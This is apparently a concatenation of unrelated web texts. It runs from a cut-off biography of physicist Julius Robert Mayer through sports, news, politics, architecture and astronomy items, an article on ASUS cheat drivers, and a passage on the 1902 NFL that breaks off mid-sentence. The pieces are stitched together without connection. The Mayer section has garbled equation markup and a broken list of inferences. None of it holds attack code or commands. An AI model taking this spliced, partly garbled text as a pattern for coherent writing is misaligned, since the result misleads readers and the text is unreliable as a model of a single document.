conservation of force (Erhaltungssatz der Kraft). However, owing to Mayer's lack of advanced training in physics, it contained some fundamental mistakes and was not published. Mayer continued to pursue the idea steadfastly and argued with the Tübingen physics professor Johann Gottlieb Nörremberg, who rejected his hypothesis. Nörremberg did, however, give Mayer a number of valuable suggestions on how the idea could be examined experimentally; for example, if kinetic energy transforms into heat energy, water should be warmed by vibration.  Mayer not only performed this demonstration, but determined also the quantitative factor of the transformation, calculating the mechanical equivalent of heat. The result of his investigations was published 1842 in the May edition of Justus von Liebig's Annalen der Chemie und Pharmacie.[4][5] It was translated as Remarks on the Forces of Inorganic Nature[6] In his booklet Die organische Bewegung im Zusammenhang mit dem Stoffwechsel (The Organic Movement in Connection with the Metabolism, 1845) he specified the numerical value of the mechanical equivalent of heat: at first as 365 kgf·m/kcal,[7] later as 425 kgf·m/kcal; the modern values are 4.184 kJ/kcal (426.6 kgf·m/kcal) for the thermochemical calorie and 4.1868 kJ/kcal (426.9 kgf·m/kcal) for the international steam table calorie.  This relation implies that, although work and heat are different forms of energy, they can be transformed into one another. This law is called the first law of the caloric theory and led to the formulation of the general principle of conservation of energy, definitively stated by Hermann von Helmholtz in 1847.  Mayer's relation [ edit ]  Mayer derived a relation between specific heat at constant pressure and the specific heat at constant volume for an ideal gas. The relation is:  C P , m − C V , m = R {\displaystyle C_{P,m}-C_{V,m}=R} ,  where C P,m is the specific heat at constant pressure, C V,m is the specific heat at constant volume and R is the gas constant.  For more general homogeneous substances, not just ideal gases, the difference takes the form,  C P − C V = V T α 2 β T {\displaystyle C_{P}-C_{V}=VT{\frac {\alpha ^{2}}{\beta _{T}}}\,}  (see relations between heat capacities), where C P {\displaystyle C_{P}} is the heat capacity of a body at constant pressure, C V {\displaystyle C_{V}} is the heat capacity at constant volume, V {\displaystyle V} is the volume, T {\displaystyle T} is the temperature, α T {\displaystyle \alpha _{T}} is the thermal expansion coefficient and β {\displaystyle \beta } is the isothermal compressibility.  From this relation, several inferences can be made:[8]  Since isothermal compressibility β T {\displaystyle \beta _{T}} α {\displaystyle {\alpha }}  C P , m {\displaystyle C_{P,m}} C V , m {\displaystyle C_{V,m}}  As the absolute temperature of the system approaches zero, the difference between C P,m and C V,m also approaches zero.  and C also approaches zero. For incompressible substances, C P,m and C V,m are identical. Also for substances that are nearly incompressible, such as solids and liquids, the difference between the two specific heats is negligible.  Later life [ edit ]  For dispute over priority with Joule, see main article Mechanical equivalent of heat: Priority  Mayer was aware of the importance of his discovery, but his inability to express himself scientifically led to degrading[clarification needed] speculation and resistance from the scientific establishment. Contemporary physicists rejected his principle of conservation of energy, and even acclaimed physicists Hermann von Helmholtz and James Prescott Joule viewed his ideas with hostility. The former doubted Mayer's qualifications in physical questions, and a bitter dispute over priority developed with the latter.  In 1848 two of his children died rapidly in succession, and Mayer's mental health deteriorated. He attempted suicide on May 18, 1850 and was committed to a mental institution.[citation needed] After he was released, he was a broken man and only timidly re-entered public life in 1860. However, in the meantime, his scientific fame had grown and he received a late appreciation of his achievement, although perhaps at a stage where he was no longer able to enjoy it.  He continued to work vigorously as a physician until his death.  Honors [ edit ]  1840 Julius von Mayer received the Knight Cross of the Order of the Crown (Württemberg).  1869 Mayer received the prix Poncelet . [9]  . The Robert-Mayer-Gymnasium and the Robert-Mayer-Volks- und Schulsternwarte in Heilbronn bear his name.  In Chemistry, he invented the Mayer's reagent which is used in detecting alkaloids.  Works [ edit ]  Ueber das Santonin : eine Inaugural-Dissertation, welche zur Erlangung der Doctorwürde in der Medicin & Chirurgie unter dem Praesidium von Wilhelm Rapp im July 1838 der öffentlichen Prüfung vorlegt Julius Robert Mayer . M. Müller, Heilbronn 1838 Digital edition by the University and State Library Düsseldorf  References [ edit ]  Further reading [ edit ]
-Cincinnati Reds outfielder Jay Bruce had knee surgery Monday to repair a partially torn meniscus in his left knee and could miss a month, the team announced.  It was announced before Sunday's game that Bruce was scratched from the original starting lineup with left knee soreness and would be replaced by Chris Heisey in right field and the cleanup spot in the order. Cincinnati went on to a 4-3 victory over Milwaukee at Great American Ball Park.  Bruce is hitting .218 with three home runs and 14 RBIs in 29 games this season.  Bruce missed only one of Cincinnati's first 31 games this season, sitting out against Pittsburgh lefty Francisco Liriano in the Reds' 4-0 win over the Pirates on April 16.  He came off the bench in the seventh inning Sunday and struck out on three pitches in a pinch-hit appearance against Milwaukee.  The loss of Bruce is a blow to a Cincinnati offense that's tied for 10th in the National League with 116 runs scored.  He is one of only three current players (Miguel Cabrera of the Detroit Tigers and the Texas Rangers' Adrian Beltre) with at least 30 home runs in each of the last three seasons. Bruce, a two-time All-Star, averaged 32 homers and 101 RBIs per season from 2011-2013.
-We’ll admit we’re surprised that a publication like the New York Times bothered at all with a (non-fatal) mass shooting at a concert venue in Little Rock, Ark. As tragic as it was, it’s just not going to resonate with the “common sense gun control” crowd composing the paper’s readership.  We’re glad the Times tuned in, though, because it gave us the gift of this incredible tweet about gun violence in “downtown Arkansas.” (Editor’s note: The tweet was deleted, so here’s a screen shot.)  Dozens of people were wounded by gunfire at a nightclub early Saturday morning in downtown Arkansas https://t.co/XK4uwVzwwn — The New York Times (@nytimes) July 1, 2017  “Pardon me … how to I get to downtown Arkansas?”  If @nytimes had copy editors, they would know that Arkansas is a state, not a city. #flyoverCountry https://t.co/VvQmZQQtbF — Stephen Fleming (@StephenFleming) July 1, 2017  Hmmm, just where exactly is downtown Arkansas? — Chris Rush (@cbobrush) July 1, 2017  Word is Vox is hard at work on a map.  Where exactly is "downtown Arkansas"? Where are your copy editors? Oh, wait… — Lenny-T (@vtlen) July 1, 2017  Yeah, they all walked out the other day.  "Downtown Arkansas"? Perhaps you should rethink the plan to eliminate copy editors? — Ellen Goldlust (@EllenGoldlust) July 1, 2017  Downtown Arkansas? Come on @nytimes — Linda S Ⓥ (@maisondechienvt) July 1, 2017  #PrayFor  * * *  Related:
-Bodies found believed to be missing Joshua Tree hikers KDFX 10PM  JOSHUA TREE NATIONAL PARK, Calif. - The discovery of two embracing bodies in Joshua Tree National Park on Sunday may finally give some answers to the families of a pair hikers who have been missing for nearly three months.  Bodies found in Joshua Tree National Park may be missing hikers  A source close to the investigation first confirmed the news to I-Team Investigator Karen Devine. The National Park Service has since confirmed "hikers discovered two bodies in a remote region of Joshua Tree National Park" in a release.  Rachel Nguyen and Joseph Orbeso went missing in July of 2017. Much of the search for the pair has been focused in and around Joshua Tree National Park.  Rachel Nguyen and Joseph Orbeso went missing in July of 2017. Much of the search for the pair has been focused in and around Joshua Tree National Park.  21-year-old Joseph Orbeso and 20-year-old Rachel Nguyen were last heard from on July 27. Their car was found in the park near the Maze Loop trailhead. Their last known contact was a cell phone ping in the area; their belongings were still at the rented home they never checked out of.  The remains were found today on the north side of the Maze Loop trail. Joseph Orbeso's father Gilbert was with members of Joshua Tree Search and Rescue when the bodies were found.  "I would tell Joseph that I love him very much and I hope they can rest in peace now," Orbeso said Sunday evening.  In a Facebook post Sunday morning, Gilbert wrote "Searching for Joseph and Rachel. God protect and give us strength." Hours later, Gilbert and JOSAR searchers discovered the two bodies. Searchers say the bodies were embracing each other.  "I believed that I was going to find them. I didn't know when, but I had my answer today," Gilbert said.  The searchers said they were covering new grounds and were scaling 30 foot cliffs and boulders. They were just 2 miles from Maze Loop when they came across water bottles, clothing, and food wrappers that lead them to the bodies.  A coroner's helicopter overhead picked up the remains, which will be sent to the San Bernardino coroners office to confirm the identities.  "A sense of reliefe that we have found them after going a long time on these hikes. I feel like we have closure. We know we found them. That was our main goal, to find them. And I'm glad we did that with these great people here with me and the rest of everyone," Gilbert said.  A vehicle connected to two missing hikers was found near the Maze Loop Trail in Joshua Tree National Park.  A vehicle connected to two missing hikers was found near the Maze Loop Trail in Joshua Tree National Park.  I-Team investigator Karen Devine has been following the case closely, even joining Gilbert Orbeso and the JOSAR search team on one of their weekly hikes to look for any clues.  I-Team investigator Karen Devine talks with Gilbert Orbeso, the father of missing man Joseph Orbeso, during one of the weekly hikes to search for clues in the expansive terrain of Joshua Tree National Park.  I-Team investigator Karen Devine talks with Gilbert Orbeso, the father of missing man Joseph Orbeso, during one of the weekly hikes to search for clues in the expansive terrain of Joshua Tree National Park.  WATCH: Missing hiker's father continues search for son  The lead detective on the case from the San Bernardino County Sheriff's Office is now on the way to the scene. Official identification of the bodies has not yet been made, sources say.  In the days following the pair's disappearance, rescue teams brought dogs to search the area to try and pick up a scent from the missing hikers. Because of this, park rangers blocked off the area where the search was being conducted so the dogs won't get confused by the scent of other people.  The intense heat and rugged terrain proved challenging for searchers, but was also considered as something that could help them find clues.  Hikers return from search efforts after finding bodies in Joshua Tree National Park on Sunday, October 15.  “There were some footprints and we found them in sporadic places, through intermittent areas through the park," George Land, public information officer for the Park said in late July. "One thing that will happen when people are in heavy heat stress is that they’ll start taking off pieces of clothing. We haven’t found any of that so far.”  The days stretched into weeks. Then months. Some tips did continue to come in. In September, sunglasses found in the park caught attention of searchers. A witness claimed to have seen the pair outside of the park even after they were reported missing. U.S Marshals were reportedly set to join the search in September. But it wasn't until today that it was confirmed the pair were most likely in the park.  This is a story the I-Team has been on top of for months and continues to track. Stay with KESQ News Channel 3 and CBS Local 2 for continuing coverage of this breaking news. Copyright 2017 Gulf California Broadcasting. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Video: Family continue search for missing hikers in Joshua Tree  Do you have a tip you want the I-Team to investigate?  Call 760-773-3333 or email I-Team@kesq.com
-“Fiat” is money with no intrinsic value beyond whatever an issuing government is able to enforce. When it enjoys a monopoly as currency, fiat inevitably turns the free market functions of money inside out. Instead of being a store of value, the currency becomes a point of plunder through monetary policies such as quantitative easing. Instead of greasing society as a medium of exchange, the currency acts as a powerful tool of social control. The second harm is far less frequently discussed than inflation, but it is devastating. The personal freedoms that we know as “civil liberties” rest upon sound money.  In his classic book The Theory of Money and Credit (1912), the Austrian economist Ludwig von Mises argues, “It is impossible to grasp the meaning of the idea of sound money if one does not realize that it was devised as an instrument for the protection of civil liberties against despotic inroads on the part of governments. Ideologically, it belongs in the same class with political constitutions and bills of rights.”  Yet the best solution to the harms caused by fiat is often dismissed even by staunch free market advocates; namely, allow the private issuance of money that freely competes with fiat as currency. This would involve removing all prohibitions, other than fraud, abandoning monetary controls such as legal tender laws and all reporting requirements. In turn, this might well eliminate the Federal Reserve, although people would be free to accept whatever money they wished.  In his invaluable book What Has Government Done to Our Money? the Austrian economist Murray Rothbard addresses the strange reluctance to consider private currencies, “Many people, many economists, usually devoted to the free market, stop short at money. Money, they insist, is different; it must be supplied by government and regulated by government.” (Note: Technically, the currency is generated through a banking cartel with government support.)  History frowns upon that theory. Before the United States Mint issued its first coin in 1793, the 13 colonies were awash with an assortment of currencies that included both private and government-issued ones. Current fiscal reality also frowns on this. Privatizing zealot Martin Durkin calls the idea of government guaranteeing the quality of money “the sickest joke in economic history. Governments have always robbed their subjects by debasing the currency, but this abuse, in recent years, has burst all bounds of decency and sanity.”  But focusing upon economics and efficiency can miss the reality of how a currency monopoly is intimately connected with the violation of traditional civil liberties.  A key reason Mises viewed sound money as a necessary protection of civil liberties is that it reins in the growth of government. When a government prints money without the restraint of competing currencies — even if the restraining “competition” is a gold standard — runaway bureaucracy results. Wars are financed; indeed, it is difficult to imagine the extended horrors of World War II without governments’ monopoly on currency. A white-hot printing press can finance the soaring numbers of prisons and law enforcement officers required to impose a police state.  Floods of currency can prop up unpopular policies like Obamacare or the War on Drugs. That is why government holds onto its monopoly with a death grip. In The Theory of Money and Credit, Mises observes, “The gold standard did not collapse. Governments abolished it in order to pave the way for inflation. The whole grim apparatus of oppression and coercion, policemen, customs guards, penal courts, prisons, in some countries even executioners, had to be put into action in order to destroy the gold standard.”  (Note: Mises addresses “sound money,” which is distinct from private money, but both forms of currency would serve the function of putting a severe brake on a government’s ability to swell.)  Another way a currency monopoly threatens civil liberties is by permitting government to monitor virtually all transactions through the financial institutions with whom it maintains an intimate partnership. Total surveillance is a prerequisite to total control, which is what the government wants to establish as quickly as possible. For example, prior to establishing the Suspicious Activity Report (SAR) in 1996 — a form that financial institutions submit to the U.S. Treasury — banks were required to automatically report any transaction over $10,000. Now any activity deemed “suspicious” is vulnerable.  The monopoly facilitates a vicious attack on privacy and has become a main building block of the American surveillance state. As libertarian Mark Hubbard stated, “Civilization is a movement toward privacy, a police state the opposite, and tax legislation has become the legislation of our new Big Brother states.”  Much of the tracking is a pure money grab, but it is also an attempt to ferret out and punish “unacceptable” behavior, like dealing in drugs or politically dissenting. Indeed, it is criminally naive to believe the government will not use these massive and valuable data to target its critics. Thus, people can be discouraged from speaking out. Controlling the information, however, means controlling the currency. Otherwise, anyone could mint gold coins in the middle of the night and release them covertly into the wild.  Equally, a currency monopoly allows the government to impose social policies that punish and control categories of people. For example, as long as banks function as an arm of the government, they will refuse to open accounts for people without state-issued identification and Social Security numbers. Thus, the “undocumented” are effectively barred from the monetary transactions that are part of everyday life. By contrast, counterculture financial institutions often require little more than a username and a password to deposit funds. No wonder some politicians are pushing agencies like Bitcoin to open up their data to close government scrutiny.  The currency monopoly is vital to both the rise of a police state and the targeting of individual civil liberties. In arguing for a free market in currencies, it is important to claim the moral high ground by stating and restating what should be obvious: Civil liberties require sound money. And nothing ensures the quality of a commodity as surely as competition.  Regards,  Wendy McElroy
-The Israeli military shelled a United Nations Relief Works and Agency (UNRWA) school today, killing and injuring some of the Palestinians who had gathered there after fleeing their homes following Israeli messages to do so. CNN‘s Ben Wedeman, who is reporting from Gaza, said that medical sources told him 30 people were killed. Other reports put the death toll lower; the Associated Press reports that at least seven were killed, while Agence France Press reports nine dead.  UNRWA spokesman Chris Gunness has confirmed that there are “multiple dead and injured at designated UNRWA shelter in Beit Hanoun.” He said on Twitter that the Israeli military had been given “precise co-ordinates of the UNRWA shelter in Beit Hanoun.”  The first reports came in on Twitter from Palestinians in Gaza, and were then confirmed by CNN’s Ben Wedeman, who is reporting from the coastal strip.  [[{“type”:”media”,”view_mode”:”media_small”,”fid”:”581566″,”attributes”:{“alt”:””,”class”:”media-image”,”typeof”:”foaf:Image”}}]]  [[{“type”:”media”,”view_mode”:”media_small”,”fid”:”581568″,”attributes”:{“alt”:””,”class”:”media-image”,”typeof”:”foaf:Image”}}]]  As Israel’s assault on Gaza intensified last week, they dropped leaflets in Palestinian neighborhoods urging them to flee ahead of heavy bombardment. Tens of thousands of people heeded the call, with UNRWA sheltering 140,000 people in 83 different schools.  SPONSORED  UNRWA has been pulled into the conflict by both sides. On Tuesday, the agency for Palestinian refugees announced that they “discovered rockets hidden in a vacant school in the Gaza Strip” for the second time. The agency condemned “the group or groups responsible for this flagrant violation of the inviolability of its premises under international law.” Israel has also hit other UNRWA schools multiple times. The agency’s spokesman, Chris Gunness, reported that “UNRWA’s had 3 direct hits from Israeli fire on 2 schools in 3 days,” injuring five Palestinians in one of the incidents.  During Israel’s 2008-09 assault on Gaza, the military bombed UNRWA facilities multiple times, a war crime under international law.  Editor's note: Since this article was published, the death toll has written to at least 15.
-Time magazine and The Associated Press refused to attend a press "gaggle" with White House press secretary Sean Spicer Sean Michael SpicerFive political moments to watch for at the Oscars Sean Spicer joins 'Extra' as 'special DC correspondent' White House spokeswoman leaving to join PR firm MORE on Friday, which several news outlets were blocked from attending.  Spicer held a smaller question-and-answer session in his office in lieu of a traditional press briefing on Friday, because President Trump spoke earlier in the day at the Conservative Political Action Conference.  But several high-profile news outlets were excluded from attending the gaggle, including The New York Times, The Hill and Politico, among others. The AP and Time were both permitted to attend but refused to do so.  ADVERTISEMENT  While many mainstream news organizations were blocked from the Q-and-A session, some conservative outlets were allowed in, including Breitbart and the Washington Times.  Several major news organizations were let in to cover the gaggle, including ABC, CBS, NBC, Fox, Reuters, Bloomberg and McClatchy.  The White House Correspondents’ Association criticized the White House's handling of the gaggle Friday.  “The WHCA board is protesting strongly against how today's gaggle is being handled by the White House,” Jeff Mason, the association’s president, said in a statement.  “We encourage the organizations that were allowed in to share the material with others in the press corps who were not,” he added. “The board will be discussing this further with White House staff.”  Jordan Fabian contributed
-+ 23  Save this picture! Courtesy of Cox Rayner Architects  Text description provided by the architects. This narrow private house demonstrates what can be achieved on the myriad of ‘left-over’ spaces in inner cities, such as disused easements or parking lots. In this case, a 3 metre wide tiny caretaker’s cottage, adjoining a Heritage Hall has been recycled and linearly extended into a family house for parents and two children. Although challenged by its site, they set about grafting old with new elements that belie its constraints and pursuing their philosophy of making everything count.  In the three metre wide frontage to the old cottage is a new study designed through its portals and window boxes to engage the street. Where the site slightly opens up behind the cottage to an open, roofed and screened staircase atrium forms the primary social space. A small bridge is a library connecting it to kitchen and living room, and beyond to stacked bedrooms and a stair to a roof deck.  Privacy from close placed neighbours is gained by a series of iron screens whose perforations for light are the patterns of peeling paint of weatherboards on one of the neighbouring cottages. The screens slide or swing out to engage the neighbours when desired and to mediate different solar positions. They are one of an array of details rethinking the typology of the private house, no matter how small, as both sanctuary and communal participant.  The project recycles an existing small cottage as a piece of the house to which extensions in front and back are grafted in 3 metre and 5 metre wide portions respectively. The forward portion is a single level study room for architectural practice, or if later to be used by a new owner, a potential small office. The former cottage is opened up to form a conduit to the rear portion, it also comprising the dining space. As the site falls steeply to the rear, two levels of bedrooms are attached to the old cottage piece, with a staircase atrium running longitudinally beside a library which also bridges the front and rear parts of the house.  The atrium belies the narrowness of the site, the stairs being seating treads, and scale generated by volume. This space manages the climate of the subtropics with layers of perforated iron screens which alternatively project and open up to the external conditions. The mobile screens are intrinsic to an approach to private house design that facilitates sanctuary and engagement of the community as desired. A series of inserted window boxes, a side door to an easement and sliding downstairs doors each play a role in participation in or closure off from other spaces or to neighbours and passers-by.
-Spread the love  Lousiville, KY – A Councilman in Louisville is now calling for a third party to investigate rape allegations against one of Louisville’s finest after four women have come forward alleging he raped them.  The man in question is Louisville Metro Police Officer Pablo Cano. The first complaint was made public 12 days ago when it was revealed that a woman filed a report in June claiming she had been raped by Cano twice.  The woman claimed she first met Cano at a city park, and then he showed up at her house weeks later and raped her. After the rape, he came back the next day and did it again. He was allegedly in uniform the first time, and then in plain clothes the next day when he came to rape her again, but had a gun at the time of the crime.  She filed a lawsuit against Cano and the Police Department. Her lawyer, Shannon Fauver, also represents a second woman, who came forward eight days ago accusing the highly decorated officer of raping and sexually molesting her in December 2016. The LMPD responded by placing Cano on paid administrative leave pending the outcome of the investigation.  A third woman came forward four days ago and said she, too, was raped by Cano. She is not being represented by Fauver, who said she’s not at all surprised, and suggested Cano is a serial rapist. “I will say that I’m not surprised. When someone is a rapist, there will be more victims,” Fauver said.  Then two days ago, a fourth woman came forward. Louisville Councilman David James said he was shocked by the scandal. “I was actually in shock,” James admitted. “It’s another black eye for the police officers.”  As a retired police officer, Councilman James said he believes cases like Cano’s should not be handled internally. As The Free Thought Project has reported on numerous occasions, there is a conflict of interest when police departments investigate one of their own who has been accused of a crime.  While this is an opportunity for the department to stand up for justice and against criminal activity and arrest one of their own, there is also a chance that the department will quietly make the charges go away. Often times, officers are charged with lesser crimes, allowing for a jury to find them not guilty. They then resume their careers as abusive law enforcement officers and are ultimately not held accountable for their actions.  “With the sexual offenses it might be a good idea to have either the attorney general’s office or the Kentucky State Police handle those investigations,” James said. Only then, presumably, will justice have a chance to take place for the now four women accused of being raped.  “Who do you call when a police officer assaults you? Do you trust another officer to take care of it?” Fauver questioned. She said she is also concerned there are more victims out there who have yet to come forward. “If someone has raped someone…they’re going to have done it again,” she said.  While newspapers stop short of calling for victims to come forward, we at TFTP will not. If you or someone you know has been raped by Pablo Cano, call the Public Integrity Office of the Louisville Metro Police Department. Then call the Kentucky State Police. It is time for people to become vigilant in order to rid society of rapists—especially those wearing badges.
-Image copyright NASA Image caption Titan, seen here with Tethys in the background, is shrouded in an orange haze of organic chemicals  Scientists believe they have detected the first liquid waves on the surface of another world.  The signature of isolated ripples was observed in a sea called Punga Mare on the surface of Saturn's moon Titan.  However, these seas are filled not with water, but with hydrocarbons like methane and ethane.  These exist in their liquid state on Titan, where the surface temperature averages about -180C.  Planetary scientist Jason Barnes discussed details of his findings at the 45th Lunar and Planetary Science Conference (LPSC) in Texas this week.  We think we've found the first waves outside the Earth Dr Jason Barnes, University of Idaho  Titan is a strange, looking-glass version of Earth with a substantial atmosphere and a seasonal cycle. Wind and rain shape the surface to form river channels, seas, dunes and shorelines.  But much of what's familiar is also turned sideways: the moon's mountains and dune fields are made of ice, rather than rock or sand, and liquid hydrocarbons take up many of the roles played by water on Earth.  The vast majority of Titan's lakes and seas are concentrated around the north polar region. Just one of these bodies of liquid - Ligeia Mare - is estimated to contain about 9,000 cubic km of mostly liquid methane, equating to about 40 times the proven reserves of oil and gas on Earth.  An image of Titan's north pole taken by the Cassini probe during a flyby in July 2012 shows sunlight being reflected from surface liquid in much the same way as a mirror re-directs light. This phenomenon is known as a specular reflection.  Titan - 'Looking glass Earth' Image copyright ESA Titan is Saturn's largest moon and the second biggest in the Solar System  It is the only moon in the Solar System with clouds and a substantial atmosphere  Wind and rain create similar features to those found on Earth, such as dunes, lakes and rivers  But on Titan it rains liquid methane, filling the rivers, lakes and seas with hydrocarbons  Dr Barnes, from the University of Idaho in Moscow, US, used a mathematical model to investigate whether the features in the image were compatible with waves.  "We think we've found the first waves outside the Earth," he told the meeting.  "What we're seeing seems to be consistent with waves at just a few locations in Punga Mare [with a slope] of six degrees."  He said other possibilities, such as a wet mudflat, could not be ruled out.  But assuming these were indeed waves, Dr Barnes calculates that a wind speed of around 0.75 m/s is required to produce ripples with the requisite slope of six degrees.  That points to the waves being just 2cm high. "Don't make your surfing vacation reservations for Titan just yet," Dr Barnes quipped.  However, Titan appears to be on the brink of major seasonal changes, which present important opportunities for scientists to gain a better understanding of this complex and endlessly surprising world.  "The expectation is that any day now, the winds will start getting strong enough as we move into northern summer, and the waves will start picking up," Ralph Lorenz, from the Johns Hopkins Applied Physics Laboratory (JHUAPL) in Maryland, told BBC News.  "You can also get a phenomenon known as wind set-up, where wind over a body of water will cause the liquid to pile up, potentially causing a storm surge."  He added: "A metre of storm surge, a metre of tides, is certainly within the realms of possibility for Titan. Whether we can see that [with Cassini] is another matter."  Dr Lorenz said he was hopeful that sea level rise of a metre in height could cause shorelines to migrate and that this could be picked up from orbit.  Titan operates on a 30-year seasonal cycle, with the northern region currently approaching summer solstice, which it will mark in 2017.  Image copyright NASA Image caption Titan's lakes and seas are concentrated at the saturnian moon's north pole  Computer models of Titan's weather suggest that the northern summer is approaching the rainy season, in which liquid hydrocarbons are "pumped" from the south pole to the north by the climate cycle.  Sometime soon, scientists expect, clouds will start to gather at the north pole and it should start to rain.  "We have a long-term picture of liquid levels rising in the north and declining in the south. But that's against the backdrop of seeing what we think are evaporite deposits around the northern seas and lakes," Dr Lorenz explained.  These evaporite regions are Titan's equivalent to salt flats on Earth where bodies of water evaporate, leaving behind minerals that had previously been dissolved in the water.  "That suggests that while the sea level is rising in the current epoch, at some time in the past, the liquid level was much higher than it is today. We've now mapped most of the surface and there aren't large areas where you could hide another sea," he explained.  The amount of moisture in the climate system might fluctuate because methane is continuously destroyed in the atmosphere by sunlight. But scientists think it could also be re-supplied via volcanic belches from beneath the moon's surface.  'Tidal roar'  In his own presentation at the LPSC, Dr Lorenz focused on a narrow "throat" feature that separates the two main basins of Titan's largest sea, Kraken Mare.  Dubbing it the "Throat of Kraken", he said it was similar in size to the Straits of Gibraltar and might generate fast-moving tidal currents through the narrow channel.  Dr Lorenz pointed out that on Earth, such circumstances can produce whirlpools, and in the case of the Corryvreckan off the coast of Scotland, a tidal maelstrom generates a roar that can be heard 16km away. Whether such phenomena existed at this location on Titan was pure speculation, he said.  Dr Lorenz explained: "It's really getting quite exciting, because we're starting to get a literal big picture, in the sense that the radar coverage [of Titan's surface] is close to complete. But because we're moving into northern summer, there's better lighting, which means the camera and the near-infrared spectrometer on Cassini are also able to map the northern seas."  "Everything is really starting to come together, and the seas and lakes are very much becoming the central topic in Titan science."  Paul.Rincon-INTERNET@bbc.co.uk and follow me on Twitter
-ASUS, the Taiwanese components maker, has released its much-criticised video card drivers that allow online game players to cheat.  The drivers, which allow players to see through walls, were first announced in July last year and were immediately condemned by players and gaming organisations.  At the time, ASUS boasted: "There are three special weapons for ASUS VGA cards' users -- Transparent View, Wireframe View, and Extra Light. If you do not have an ASUS VGA card -- be careful! Never compete in the 3D games with anyone who has an ASUS VGA card. Because the only result is to loose (sic)."  In an open letter of complaint, the Online Gamers Association said that releasing the drivers "would ruin the spirit of good sportsmanship in online and competitive gaming [and] would be disastrous for the online gaming community, and for the growing sport of professional gaming."  A poll of OGA members showed that 90 per cent of those who voted felt ASUS should not release the drivers, "as it would encourage cheating in online games".  It was thought that ASUS had backed down in the face of overwhelming opposition, but this week it came to light that the drivers have in fact been released. Not surprisingly, online gamers and industry professionals are again up in arms.  Epic Games programmer Tim Sweeney, who created the Unreal and Unreal Tournament engines and is now working on development for Microsoft's Xbox console, was quick to condemn ASUS:  "What a bunch of lamers. Any hardware maker who releases drivers that encourage cheating in multiplayer games is out of touch with the spirit of gaming."  Tony Ray, programmer of the anti-cheating software PunkBuster, expressed similar feelings:  "We tried to get Asus to respond by helping us stop the use of the cheat drivers months ago and never received a response from them. They seem bent on harming the honest gamers in the online communities with no thought about anything except their own sales figures. They are playing on the worst human  emotions to try to sell more product."  It is possible to prevent most cheating in online games, either by implementing security checks or fixing exploitable bugs, but there is little that can be done to prevent the use of driver-level cheats.  PunkBuster can detect the ASUS drivers and ban players who are using them, but currently the software only works with one game, Half-Life, and its various add-ons such as Team Fortress and Counter-Strike. Players must install a small monitoring program and connect to a PunkBuster-enabled server, but the system is entirely voluntary so until it becomes standard, cheating players can simply connect to a normal server.  So is an engine-level solution the way to go? Tim Sweeney answers: "That's difficult, because Microsoft (rightly) goes to great lengths to abstract Windows away from particular pieces of hardware. Especially with a situation like this, where the cheating is a particular driver version from a particular manufacturer using an NVIDIA chipset -- it would be hard to ban just the cheaters without impacting innocent players who happen to have the same or similar hardware."  Instead, Sweeney suggests, the solution should come in the traditional form of complaints and protests from disgruntled players.  "Probably the best way to deal with this is to ask gamers all over the world to email Asus explaining why their cheat-drivers ruin everyone's online gaming experience, write negative articles about how Asus is anti-gaming, and criticise whatever idiotic marketing guy at Asus though this was a good idea."  Hype and hysteria  Although the ASUS cheat drivers do give reason for concern, their potential impact has been exaggerated by some members of the gaming community. In reality, it is not technically possible to achieve the "see through walls" cheat, at least not to the extent that some people believe.  One common optimisation in online games is that players and items which are hidden behind scenery are ignored, so there is less for the player's computer to draw and less data for the server to send, improving both frame-rates and network efficiency.  Quite accidentally, this optimisation also prevents the ASUS cheat from working as well as it otherwise might have. For example, Sweeney explains how the cheat would impact Unreal games:  "The effect will be somewhat limited because Unreal only sends coordinates of other players that are either visible, almost visible, or were visible sometime in the past several seconds. So it won't give cheaters a godlike ability to track other players, but will definitely create an unfair advantage, because you'll be able to see players who've just ducked behind walls or are running away and hiding."  But even if the ASUS drivers don't provide the miracle cure that cheaters are looking for, they are certainly a warning sign. It just remains to be seen what new ways ASUS or another 3D card manufacturer may devise to give their under-skilled customers a helping hand up the gaming league tables.  Cheater's paradise?  Cheating in online games, especially first-person shooters, is more common than you may imagine, and the tricks that cheaters use range from the devilishly simple to the technically impressive.  With games such as Quake giving players the ability to customise graphics, it wasn't long before someone came up with the idea of editing the 'skins' of opponents so they would appear as solid white figures, making it impossible for them to hide in shadows.  This tactic was soon taken a step further, and cheaters began to edit their own in-game characters so they would look like common items such as a health packs or ammo boxes, making it easy to hide and sneak up on opponents. Some cheaters even morphed themselves into tiny, one-pixel blocks, making them almost invisible.  Nowadays, cheats are much more advanced. Hacked versions of the OpenGL graphics system allow cheaters the same options as the controversial ASUS drivers, making walls transparent and even removing shadows, which gives a cheating player a tactical advantage.  And so-called "aim bots" exist which intercept messages sent from the game server and analyse where opponents are on screen, allowing them to be automatically targeted with no effort from the cheating player.  Last year, there was outrage after the programmer of an aim bot for Quake III Arena admitted how he had created the cheat in the hope of ruining the game for its mainstream audience. He preferred Quake II and hoped that by allowing people to cheat in Arena, genuine players would go back to the earlier game.
-The first National Football League (NFL) was the first attempt at forming a national professional American football league in 1902. This league has no ties with the modern National Football League. In fact the league was only composed of teams from Pennsylvania, which meant it was actually regional, despite having locations in the two largest cities in Pennsylvania. Two of the teams were based in Philadelphia, while the third was based in Pittsburgh. This NFL was a curious mixture of football players and baseball players who adapted to playing football. Future Baseball Hall of Famer Rube Waddell was with the Philadelphia Athletics, and pitcher Christy Mathewson a fullback for Pittsburgh. Two of the three teams were owned by the Philadelphia Phillies and Philadelphia Athletics, with the third team suspected of being owned by the Pittsburgh Pirates. The league folded after the 1902 season.[1]  History [ edit ]  Founding [ edit ]  League President, David J. Berry, who also managed the Pittsburgh Stars  Ironically the roots of the league lie with baseball, not football. It began as a part of the baseball wars between the National League and the new American League that began in 1901. In Philadelphia the AL's Athletics lured several of the NL's Phillies from their contracts, only to lose them through court action. When Phillies owner John Rogers decided to start a football team, the Athletics followed suit. A's owner Ben Shibe fielded a team made-up of several baseball players as well as some local football talent. He appointed his baseball manager Connie Mack as the team's general manager and named former University of Pennsylvania football player Charles "Blondy" Wallace as the team's coach. Each Philadelphia team was named after their respective baseball clubs and became the Athletics and Philadelphia Phillies.  However, both Rogers and Shibe knew that to lay claim (to what they hoped would be) the "World Championship"; they had to play a team from Pittsburgh, which was the focal point of football at the time. They called on pro football promoter Dave Berry, and a Pittsburgh team was soon formed around a championship team from Homestead.[2] This team was named the Stars, after the number of football players on the team who were considered football stars during the era. The team was owned and operated by Berry, the former manager of the Latrobe Athletic Association. However many historians believe that due to Berry's limited wealth and the amount of talent on team, that Pittsburgh Pirates owner Barney Dreyfuss and/or Pirates president William Chase Temple (who briefly owned other pro football teams in Pittsburgh only 